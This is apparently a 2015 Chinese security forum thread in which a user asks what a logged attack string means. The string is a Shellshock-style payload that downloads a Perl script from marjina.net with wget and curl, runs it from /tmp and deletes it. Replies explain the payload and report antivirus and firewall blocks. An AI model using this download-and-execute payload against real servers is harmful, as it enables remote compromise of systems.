高手来分析一下，这段攻击代码啥意思啊？

显示全部楼层 · 发表于 2015-9-18 13:59:43

（IP地址）/1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.wget http://marjina.net/va.pl -o /tmp/va.pl;curl -o /tmp/va.pl http://marjina.net/va.pl;perl /tmp/va.pl;rm -rf /tmp/va.pl*.);'

有知道的，详细来分析一下，对这东西P都不懂。。。

显示全部楼层 · 发表于 2015-9-18 14:40:21

本帖最后由 Wesly.Zhang 于 2015-9-18 14:42 编辑

wget 是从 http://marjina.net/va.pl 上面去下载这个perl脚本到 /tmp 目录下
然后运行这个 perl 脚本，之后删除。

这是一段恶意脚本，楼主自重。

显示全部楼层 · 发表于 2015-9-18 19:13:55

Wesly.Zhang 发表于 2015-9-18 14:40
wget 是从 http://marjina.net/va.pl 上面去下载这个perl脚本到 /tmp 目录下
然后运行这个 perl 脚本，之 ...

像这种东西，要防的话应该怎么防呢？

显示全部楼层 · 发表于 2015-9-18 21:02:59

ess拦截，好奇点了一下，好险

显示全部楼层 · 发表于 2015-9-18 21:07:39

avg kill
bd trafficlight kill

显示全部楼层 · 发表于 2015-9-18 21:20:26

相当危险的东西

显示全部楼层 · 发表于 2015-9-18 22:28:24

avast已经当当当了

显示全部楼层 · 发表于 2015-9-20 08:44:06

好奇点了一下，被BD拦截

显示全部楼层 · 发表于 2015-9-20 09:18:08

显示全部楼层 · 发表于 2015-9-20 10:40:45

飞塔
URL Blocked
is in the category Malicious Websites

[讨论] 高手来分析一下，这段攻击代码啥意思啊？

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源